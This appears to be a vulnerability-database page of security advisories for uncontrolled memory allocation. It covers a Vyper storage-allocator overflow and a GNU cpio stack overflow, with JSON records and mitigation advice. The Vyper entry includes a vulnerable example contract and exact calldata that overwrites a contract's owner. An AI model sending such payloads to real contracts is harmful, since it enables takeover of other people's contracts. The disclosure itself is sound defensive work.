patched in 0bb7203b584e771b23536ba065a6efda457161bb

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

References

Are there any links users can visit to find out more?

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "vyper"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.3.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-30837"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-05-05T22:22:23Z",
    "nvd_published_at": "2023-05-08T17:15:12Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nThe storage allocator does not guard against allocation overflows. This can result in vulnerabilities like the following:\n```vyper\nowner: public(address)\ntake_up_some_space: public(uint256[10])\nbuffer: public(uint256[max_value(uint256)])\n\n@external\ndef initialize():\n    self.owner = msg.sender\n\n@external\ndef foo(idx: uint256, data: uint256):\n    self.buffer[idx] = data\n```\nPer @toonvanhove, \"An attacker can overwrite the owner variable by calling this contract with calldata: `0x04bc52f8 fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff5 ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff` (spaces inserted for readability)\n`0x04bc52f8` is the selector for `foo(uint256, uint256)`, and the last argument `fff...fff` is the new value for the owner variable.\"\n\n### Patches\npatched in 0bb7203b584e771b23536ba065a6efda457161bb\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\n### References\n_Are there any links users can visit to find out more?_\n",
  "id": "GHSA-mgv8-gggw-mrg6",
  "modified": "2024-11-19T16:31:53Z",
  "published": "2023-05-05T22:22:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vyperlang/vyper/security/advisories/GHSA-mgv8-gggw-mrg6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-30837"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vyperlang/vyper/commit/0bb7203b584e771b23536ba065a6efda457161bb"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/vyper/PYSEC-2023-76.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vyperlang/vyper"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "vyper vulnerable to storage allocator overflow"
}

GHSA-MMW4-F4P6-W77Q

Vulnerability from github – Published: 2026-08-10 12:31 – Updated: 2026-08-10 12:31
VLAI
Details

GNU cpio is vulnerable to an uncontrolled memory allocation in the make_path function at src/makepath.c. The function uses alloca to allocate stack memory based on the length of argpath, which is derived from an archive-controlled pathname during extraction. A malicious cpio archive containing a sufficiently long nested pathname causes an unbounded stack allocation, resulting in a stack overflow and crash of the cpio process. An attacker who can supply a crafted cpio archive to a victim who extracts it can cause a denial of service.

This issue has been fixed in commit 3cd514031371d8aeeaf2048aa10103e02831aaa9

Severity
4.6 (Medium)
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-66485"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-789"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-10T11:17:27Z",
    "severity": "MODERATE"
  },
  "details": "GNU cpio is vulnerable to an uncontrolled memory allocation in the make_path function at src/makepath.c. The function uses alloca to allocate stack memory based on the length of argpath, which is derived from an archive-controlled pathname during extraction. A malicious cpio archive containing a sufficiently long nested pathname causes an unbounded stack allocation, resulting in a stack overflow and crash of the cpio process. An attacker who can supply a crafted cpio archive to a victim who extracts it can cause a denial of service.\n\nThis issue has been fixed in commit 3cd514031371d8aeeaf2048aa10103e02831aaa9",
  "id": "GHSA-mmw4-f4p6-w77q",
  "modified": "2026-08-10T12:31:50Z",
  "published": "2026-08-10T12:31:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-66485"
    },
    {
      "type": "WEB",
      "url": "https://cert.pl/en/posts/2026/08/CVE-2026-66484"
    },
    {
      "type": "WEB",
      "url": "https://git.savannah.gnu.org/cgit/cpio.git"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}
Mitigation
Implementation Architecture and Design

Perform adequate input validation against any value that influences the amount of memory that is allocated. Define an appropriate strategy for handling requests that exceed the limit, and consider supporting a configuration option so that the administrator can extend the amount of memory to be used if necessary.

Mitigation
Operation

Run your program using system-provided resource limits for memory. This might still cause the program to crash or exit, but the impact to the rest of the system will be minimized.

No CAPEC attack patterns related to this CWE.

← Back to the CWE list